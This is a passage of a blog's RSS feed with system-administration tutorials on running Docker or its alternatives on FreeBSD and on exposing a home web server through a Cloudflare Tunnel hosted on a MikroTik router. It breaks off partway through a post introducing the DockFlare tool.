
<p class="wp-block-paragraph">To stop:</p>



<pre class="wp-block-code"><code>docker stop hello-web
</code></pre>



<p class="wp-block-paragraph">To remove:</p>



<pre class="wp-block-code"><code>docker rm hello-web
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-conclusion">Conclusion</h2>



<p class="wp-block-paragraph">Docker has revolutionized software development and IT operations by making container technology accessible, portable, and scalable. It simplifies dependency management, accelerates deployment, and ensures your applications behave the same everywhere — a crucial advantage in today’s fast-moving development world.</p>



<p class="wp-block-paragraph">This example only scratches the surface of Docker’s power. From building your own container images to orchestrating complex multi-container applications with Docker Compose or Kubernetes, Docker opens up a world of possibilities.</p>



<p class="wp-block-paragraph">If you want to master modern software workflows, learning Docker is a must.</p>
<p>The post <a href="https://hamradio.my/2025/06/docker-the-container-revolution-that-changed-software-development-forever/">Docker: The Container Revolution That Changed Software Development Forever</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/06/docker-the-container-revolution-that-changed-software-development-forever/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How to Use Docker on FreeBSD (and the Best Alternatives)</title>
		<link>https://hamradio.my/2025/06/how-to-use-docker-on-freebsd-and-the-best-alternatives/</link>
					<comments>https://hamradio.my/2025/06/how-to-use-docker-on-freebsd-and-the-best-alternatives/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Mon, 02 Jun 2025 12:01:00 +0000</pubDate>
				<category><![CDATA[container]]></category>
		<category><![CDATA[containerization]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[freebsd jails]]></category>
		<category><![CDATA[virtual machine]]></category>
		<category><![CDATA[virtualization]]></category>
		<category><![CDATA[bastillebsd]]></category>
		<category><![CDATA[bhyve]]></category>
		<category><![CDATA[containers]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[freebsdjail]]></category>
		<category><![CDATA[homelab]]></category>
		<category><![CDATA[jail]]></category>
		<category><![CDATA[linuxvm]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[podman]]></category>
		<category><![CDATA[selfhosting]]></category>
		<category><![CDATA[serveradmin]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[techguide]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[virtualbox]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7454</guid>

					<description><![CDATA[<p>Docker has become the de facto standard for containerization on Linux systems. It provides developers with an easy and reproducible way to deploy applications. But if you&#8217;re a FreeBSD user like me, you&#8217;ve probably discovered that Docker isn’t natively supported. That’s because Docker relies heavily on Linux kernel features such as cgroups, namespaces, and UnionFS, [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/06/how-to-use-docker-on-freebsd-and-the-best-alternatives/">How to Use Docker on FreeBSD (and the Best Alternatives)</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Docker has become the de facto standard for containerization on Linux systems. It provides developers with an easy and reproducible way to deploy applications. But if you&#8217;re a FreeBSD user like me, you&#8217;ve probably discovered that Docker isn’t natively supported. That’s because Docker relies heavily on Linux kernel features such as <strong>cgroups</strong>, <strong>namespaces</strong>, and <strong>UnionFS</strong>, which FreeBSD does not support directly.</p>



<p class="wp-block-paragraph">So, what are our options? Can we still run containers on FreeBSD, or even Docker itself? The answer is yes—with some workarounds and native alternatives.</p>



<p class="wp-block-paragraph">In this blog post, we will walk you through several approaches:</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-why-docker-doesn-t-run-natively-on-freebsd"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Docker Doesn’t Run Natively on FreeBSD</h3>



<p class="wp-block-paragraph">Docker was built specifically for the Linux kernel. It depends on:</p>



<ul class="wp-block-list">
<li>Linux control groups (cgroups)</li>



<li>Namespaces</li>



<li>AUFS/OverlayFS</li>



<li>A running Docker daemon</li>
</ul>



<p class="wp-block-paragraph">FreeBSD uses different mechanisms, such as <strong>jails</strong> and <strong>ZFS</strong>. Because of this incompatibility, Docker can&#8217;t run on FreeBSD <em>without</em> a Linux layer. However, that doesn’t mean you’re out of luck.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-option-1-use-podman-a-docker-compatible-alternative"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Option 1: Use Podman – A Docker-Compatible Alternative</h2>



<p class="wp-block-paragraph"><a href="https://podman.io/"><strong>Podman</strong></a> is a daemonless container engine that offers a command-line interface similar to Docker. It&#8217;s available in FreeBSD’s package repository and works quite well for many use cases.</p>



<h3 class="wp-block-heading" id="h-installing-podman-on-freebsd"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Installing Podman on FreeBSD</h3>



<pre class="wp-block-code"><code>pkg install podman
</code></pre>



<p class="wp-block-paragraph">Start the Podman service:</p>



<pre class="wp-block-code"><code>service podman start
</code></pre>



<p class="wp-block-paragraph">Now you can use it just like Docker:</p>



<pre class="wp-block-code"><code>podman pull alpine
podman run -it alpine sh
</code></pre>



<p class="wp-block-paragraph">Podman runs rootless containers, which means better security, but some Docker features like Docker Compose or privileged containers might not be fully supported.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-option-2-run-docker-inside-a-linux-vm"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5a5.png" alt="🖥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Option 2: Run Docker Inside a Linux VM</h2>



<p class="wp-block-paragraph">If you absolutely need full Docker functionality, the best solution is to run Docker <em>inside a virtual machine</em>. You can do this using FreeBSD’s native hypervisor <strong>bhyve</strong>, or with <strong>VirtualBox</strong>.</p>



<h3 class="wp-block-heading" id="h-a-using-bhyve-and-vm-bhyve">A. Using bhyve and vm-bhyve</h3>



<ol class="wp-block-list">
<li>Install the required packages:</li>
</ol>



<pre class="wp-block-code"><code>pkg install vm-bhyve grub2-bhyve
</code></pre>



<ol start="2" class="wp-block-list">
<li>Initialize the environment:</li>
</ol>



<pre class="wp-block-code"><code>zfs create -o mountpoint=/vm zroot/vm
vm init
vm switch create public
</code></pre>



<ol start="3" class="wp-block-list">
<li>Download a Linux ISO (e.g., Ubuntu), and create the VM:</li>
</ol>



<pre class="wp-block-code"><code>vm iso https://releases.ubuntu.com/22.04/ubuntu-22.04-live-server-amd64.iso
vm create ubuntuvm
vm install ubuntuvm ubuntu-22.04-live-server-amd64.iso
</code></pre>



<ol start="4" class="wp-block-list">
<li>After installing Ubuntu, log into the VM and install Docker:</li>
</ol>



<pre class="wp-block-code"><code>curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh
</code></pre>



<p class="wp-block-paragraph">Now you have a full Linux environment running Docker within FreeBSD.</p>



<h3 class="wp-block-heading" id="h-b-using-virtualbox">B. Using VirtualBox</h3>



<p class="wp-block-paragraph">If you prefer a GUI solution, VirtualBox works well on FreeBSD:</p>



<pre class="wp-block-code"><code>pkg install virtualbox-ose
</code></pre>



<p class="wp-block-paragraph">After installation, create a Linux virtual machine (e.g., Ubuntu, Alpine), then install Docker inside it as shown above.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-option-3-use-freebsd-jails-with-bastillebsd"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Option 3: Use FreeBSD Jails with BastilleBSD</h2>



<p class="wp-block-paragraph">FreeBSD has its own native containerization technology: <strong>jails</strong>. They are extremely lightweight and secure. You can manage jails easily with a tool like <a href="https://bastillebsd.org/"><strong>BastilleBSD</strong></a>.</p>



<h3 class="wp-block-heading" id="h-installing-bastillebsd"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Installing BastilleBSD</h3>



<pre class="wp-block-code"><code>pkg install bastille
sysrc bastille_enable=YES
service bastille start
</code></pre>



<h3 class="wp-block-heading" id="h-bootstrap-a-freebsd-release"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4e6.png" alt="📦" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Bootstrap a FreeBSD Release</h3>



<pre class="wp-block-code"><code>bastille bootstrap 13.2-RELEASE
</code></pre>



<h3 class="wp-block-heading" id="h-create-and-start-a-jail"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Create and Start a Jail</h3>



<pre class="wp-block-code"><code>bastille create myjail 13.2-RELEASE 10.0.0.10
bastille start myjail
bastille console myjail
</code></pre>



<p class="wp-block-paragraph">Now you’re inside a FreeBSD jail where you can run isolated applications.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">While this isn’t Docker-compatible, it’s extremely efficient and secure for server deployments.</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-summary-table"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4dd.png" alt="📝" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Summary Table</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Method</th><th>Docker-Compatible</th><th>FreeBSD Native</th><th>Ideal Use Case</th></tr></thead><tbody><tr><td><strong>Podman</strong></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Partial</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Yes</td><td>Development, rootless containers</td></tr><tr><td><strong>Linux VM (bhyve)</strong></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Full</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> No</td><td>Full Docker support, CI/CD setups</td></tr><tr><td><strong>VirtualBox</strong></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Full</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> No</td><td>Desktop Docker environment</td></tr><tr><td><strong>BastilleBSD</strong></td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/274c.png" alt="❌" class="wp-smiley" style="height: 1em; max-height: 1em;" /> No</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Yes</td><td>Secure, lightweight FreeBSD jails</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-final-thoughts"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f914.png" alt="🤔" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">While Docker doesn’t run natively on FreeBSD, you still have powerful and flexible options depending on your use case:</p>



<ul class="wp-block-list">
<li>Want to run containers like Docker? <strong>Try Podman.</strong></li>



<li>Need full Docker functionality? <strong>Use a Linux VM with bhyve or VirtualBox.</strong></li>



<li>Want lightweight, secure FreeBSD-native containers? <strong>Go with jails and BastilleBSD.</strong></li>
</ul>



<p class="wp-block-paragraph">Each method has its strengths and trade-offs.</p>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://hamradio.my/2025/06/how-to-use-docker-on-freebsd-and-the-best-alternatives/">How to Use Docker on FreeBSD (and the Best Alternatives)</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/06/how-to-use-docker-on-freebsd-and-the-best-alternatives/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Hosting a Web Server Securely with Cloudflare Zero Trust Tunnel on MikroTik (Using Docker)</title>
		<link>https://hamradio.my/2025/05/hosting-a-web-server-securely-with-cloudflare-zero-trust-tunnel-on-mikrotik-using-docker/</link>
					<comments>https://hamradio.my/2025/05/hosting-a-web-server-securely-with-cloudflare-zero-trust-tunnel-on-mikrotik-using-docker/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Fri, 23 May 2025 17:07:06 +0000</pubDate>
				<category><![CDATA[cloudflare]]></category>
		<category><![CDATA[mikrotik]]></category>
		<category><![CDATA[cloudflared]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[homelab]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[remotework]]></category>
		<category><![CDATA[reverseproxy]]></category>
		<category><![CDATA[routeros]]></category>
		<category><![CDATA[secureaccess]]></category>
		<category><![CDATA[selfhosted]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[techsetup]]></category>
		<category><![CDATA[tunnel]]></category>
		<category><![CDATA[webhosting]]></category>
		<category><![CDATA[zerotrust]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7531</guid>

					<description><![CDATA[<p>You have a web server running in your home network — maybe it’s a dashboard, self-hosted site, or internal tool. You want to access it remotely, but without port forwarding or exposing your public IP. This guide shows you how to safely publish your internal website using Cloudflare Tunnel, hosted directly on your MikroTik router [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/05/hosting-a-web-server-securely-with-cloudflare-zero-trust-tunnel-on-mikrotik-using-docker/">Hosting a Web Server Securely with Cloudflare Zero Trust Tunnel on MikroTik (Using Docker)</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">You have a web server running in your home network — maybe it’s a dashboard, self-hosted site, or internal tool. You want to <strong>access it remotely</strong>, but without port forwarding or exposing your public IP.</p>



<p class="wp-block-paragraph">This guide shows you how to <strong>safely publish your internal website</strong> using <strong>Cloudflare Tunnel</strong>, hosted <strong>directly on your MikroTik router via Docker</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-scenario"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4d8.png" alt="📘" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Scenario</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Component</th><th>Value</th></tr></thead><tbody><tr><td>Web Server IP</td><td><code>192.168.0.10</code></td></tr><tr><td>MikroTik Gateway</td><td><code>192.168.0.1</code></td></tr><tr><td>Public Hostname</td><td><code>webserver.domain.com</code></td></tr><tr><td>Tunnel Host</td><td>MikroTik (via Docker)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Your router will run the Cloudflare Tunnel and <strong>forward requests securely</strong> to your internal PC running the web server.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-prerequisites"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Prerequisites</h3>



<ul class="wp-block-list">
<li>MikroTik router with <strong>Docker support</strong> (e.g. RB5009, CCR2004, CHR)</li>



<li>RouterOS <strong>7.5+</strong></li>



<li>USB flash drive plugged into MikroTik (for container storage)</li>



<li>Web server running at <code>192.168.0.10:80</code></li>



<li>A <strong>Cloudflare account</strong> with your domain added (e.g. <code>domain.com</code>)</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-step-1-enable-docker-on-mikrotik"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 1: Enable Docker on MikroTik</h3>



<ol class="wp-block-list">
<li><strong>Install the container package</strong>:<br>Get it from <a href="https://mikrotik.com/download">mikrotik.com/download</a> under RouterOS v7 > Extra packages.</li>



<li><strong>Reboot</strong> after installation.</li>



<li><strong>Set Docker storage</strong>: <code>/container config set root-dir=disk1/docker</code></li>



<li><strong>Enable Docker</strong>: <code>/container set enabled=yes</code></li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-step-2-create-tunnel-on-any-pc"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2601.png" alt="☁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 2: Create Tunnel (on any PC)</h3>



<p class="wp-block-paragraph">Only needed once — you can delete the PC tunnel afterward.</p>



<ol class="wp-block-list">
<li>Install Cloudflared: <code>sudo apt install cloudflared</code></li>



<li>Authenticate: <code>cloudflared tunnel login</code> This opens a browser window. Log in and choose your domain.</li>



<li>Create a tunnel: <code>cloudflared tunnel create webserver-tunnel</code> This generates a <code>.json</code> credential file.</li>



<li>Create config file <code>config.yml</code>: <code>tunnel: webserver-tunnel credentials-file: /cloudflared/webserver-tunnel.json ingress: - hostname: webserver.domain.com service: http://192.168.0.10:80 - service: http_status:404</code></li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-step-3-transfer-files-to-mikrotik"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c2.png" alt="📂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 3: Transfer Files to MikroTik</h3>



<p class="wp-block-paragraph">Copy the following files to your MikroTik into <code>/disk1/cloudflared/</code>:</p>



<ul class="wp-block-list">
<li><code>webserver-tunnel.json</code></li>



<li><code>config.yml</code></li>
</ul>



<p class="wp-block-paragraph">Use SCP or drag &amp; drop via Winbox → Files.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-step-4-run-cloudflared-docker-container-on-mikrotik"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f433.png" alt="🐳" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 4: Run Cloudflared Docker Container on MikroTik</h3>



<ol class="wp-block-list">
<li>Add the container: <code>/container add \ remote-image=cloudflare/cloudflared:latest \ name=cloudflared \ root-dir=disk1/cloudflared \ command="tunnel --config /etc/config.yml run"</code></li>



<li>Start it: <code>/container start cloudflared</code></li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-step-5-configure-cloudflare-dashboard-zero-trust"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 5: Configure Cloudflare Dashboard (Zero Trust)</h3>



<p class="wp-block-paragraph">Now go to <a href="https://one.cloudflare.com/">https://one.cloudflare.com</a> and:</p>



<ol class="wp-block-list">
<li>Navigate to <strong>Access → Tunnels</strong>.</li>



<li>Click your tunnel (<code>webserver-tunnel</code>).</li>



<li>Click <strong>&#8220;Add a public hostname&#8221;</strong>.</li>



<li>Fill in:
<ul class="wp-block-list">
<li><strong>Subdomain</strong>: <code>webserver</code></li>



<li><strong>Domain</strong>: <code>domain.com</code></li>



<li><strong>Service</strong>: <code>http://192.168.0.10:80</code></li>
</ul>
</li>



<li>Click <strong>Save</strong>.</li>
</ol>



<p class="wp-block-paragraph">Now Cloudflare knows where to route incoming requests.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-done-test-it"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Done! Test It</h3>



<p class="wp-block-paragraph">Visit:</p>



<pre class="wp-block-code"><code>https:&#47;&#47;webserver.domain.com
</code></pre>



<p class="wp-block-paragraph">Your site should load — even if you’re on mobile or outside your home network. All traffic is encrypted and proxied via Cloudflare, <strong>without any port forwarding</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-optional-add-zero-trust-access-policy"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e1.png" alt="🛡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Optional: Add Zero Trust Access Policy</h3>



<p class="wp-block-paragraph">Want to protect the site with a login?</p>



<ol class="wp-block-list">
<li>In Cloudflare dashboard, go to:<br><strong>Access → Applications → Add Application</strong></li>



<li>Choose <strong>Self-hosted</strong>.</li>



<li>Fill in:
<ul class="wp-block-list">
<li>App name: <code>Web Server</code></li>



<li>URL: <code>https://webserver.domain.com</code></li>
</ul>
</li>



<li>Set who can access (e.g. emails, GitHub, etc.)</li>
</ol>



<p class="wp-block-paragraph">Now only authorized users can access your internal site.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading" id="h-summary"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Summary</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Feature</th><th>Status</th></tr></thead><tbody><tr><td>No port forwarding</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Works behind NAT</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Runs on MikroTik</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Secure Cloudflare Tunnel</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr><tr><td>Access via domain</td><td><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">You’ve now turned your MikroTik router into a <strong>secure gateway</strong> for publishing internal services to the internet — the Cloudflare way.</p>



<p class="wp-block-paragraph"></p>
<p>The post <a href="https://hamradio.my/2025/05/hosting-a-web-server-securely-with-cloudflare-zero-trust-tunnel-on-mikrotik-using-docker/">Hosting a Web Server Securely with Cloudflare Zero Trust Tunnel on MikroTik (Using Docker)</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/05/hosting-a-web-server-securely-with-cloudflare-zero-trust-tunnel-on-mikrotik-using-docker/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>DockFlare: Securely Expose Docker Services with Cloudflare Tunnels</title>
		<link>https://hamradio.my/2025/05/dockflare-securely-expose-docker-services-with-cloudflare-tunnels/</link>
					<comments>https://hamradio.my/2025/05/dockflare-securely-expose-docker-services-with-cloudflare-tunnels/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Fri, 23 May 2025 06:55:38 +0000</pubDate>
				<category><![CDATA[cloudflare]]></category>
		<category><![CDATA[cloudflare tunnel]]></category>
		<category><![CDATA[containerization]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[fedora]]></category>
		<category><![CDATA[free open source software]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[apigateway]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[cloudflareaccess]]></category>
		<category><![CDATA[cloudflaretunnel]]></category>
		<category><![CDATA[Containerization]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockercompose]]></category>
		<category><![CDATA[dockflare]]></category>
		<category><![CDATA[homelab]]></category>
		<category><![CDATA[networksecurity]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[privacy]]></category>
		<category><![CDATA[reverseproxy]]></category>
		<category><![CDATA[securehosting]]></category>
		<category><![CDATA[securewebapps]]></category>
		<category><![CDATA[selfhostedapps]]></category>
		<category><![CDATA[selfhosting]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[SysAdmin]]></category>
		<category><![CDATA[tunneling]]></category>
		<category><![CDATA[webhosting]]></category>
		<category><![CDATA[zerotrust]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7540</guid>

					<description><![CDATA[<p>🌟 Introduction: What Is DockFlare? Self-hosting applications has become increasingly popular among developers, tech enthusiasts, and homelabbers. However, securely exposing internal services to the internet is often a complicated task. It involves: This is where DockFlare comes in. DockFlare is a lightweight, self-hosted Cloudflare Tunnel automation tool for Docker users. It simplifies the process of [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/05/dockflare-securely-expose-docker-services-with-cloudflare-tunnels/">DockFlare: Securely Expose Docker Services with Cloudflare Tunnels</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading" id="h-introduction-what-is-dockflare"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31f.png" alt="🌟" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Introduction: What Is DockFlare?</h2>



<p class="wp-block-paragraph">Self-hosting applications has become increasingly popular among developers, tech enthusiasts, and homelabbers. However, securely exposing internal services to the internet is often a complicated task. It involves:</p>



<ul class="wp-block-list">
<li>Opening firewall ports</li>



<li>Dealing with dynamic IPs</li>



<li>Managing TLS certificates</li>



<li>Handling reverse proxies</li>



<li>Setting up access control</li>
</ul>



<p class="wp-block-paragraph">This is where <strong>DockFlare</strong> comes in.</p>



<p class="wp-block-paragraph"><strong>DockFlare</strong> is a lightweight, self-hosted <strong>Cloudflare Tunnel automation tool for Docker users</strong>. It simplifies the process of publishing your internal Docker services to the public internet through <strong>Cloudflare Tunnels</strong>, while providing optional <strong>Zero Trust security</strong>, DNS record automation, and a sleek web interface for real-time management.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-objectives-of-dockflare"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f3af.png" alt="🎯" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Objectives of DockFlare</h2>



<p class="wp-block-paragraph">DockFlare was created to solve three key problems:</p>



<ol class="wp-block-list">
<li><strong>Simplicity</strong>: Configure secure public access to your Docker containers using just labels—no reverse proxy, SSL setup, or manual DNS records needed.</li>



<li><strong>Security</strong>: Protect your services behind Cloudflare&#8217;s <strong>Zero Trust Access</strong>, supporting identity-based authentication (Google, GitHub, OTP, and more).</li>



<li><strong>Automation</strong>: Automatically create tunnels, subdomains, and security policies based on your Docker service metadata. No scripting. No re-deploys.</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading" id="h-why-use-dockflare"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4a1.png" alt="💡" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Use DockFlare?</h2>



<p class="wp-block-paragraph">Here’s how DockFlare benefits its users:</p>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Quick Setup</strong>: Set up secure tunnels and expose services in seconds with Docker labels.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Zero Trust Security</strong>: Enforce authentication for any service using Cloudflare Access.</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f30d.png" alt="🌍" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>No Public IP Required</strong>: No need to forward ports or expose your home IP—perfect for CG-NAT and mobile ISPs.</li>



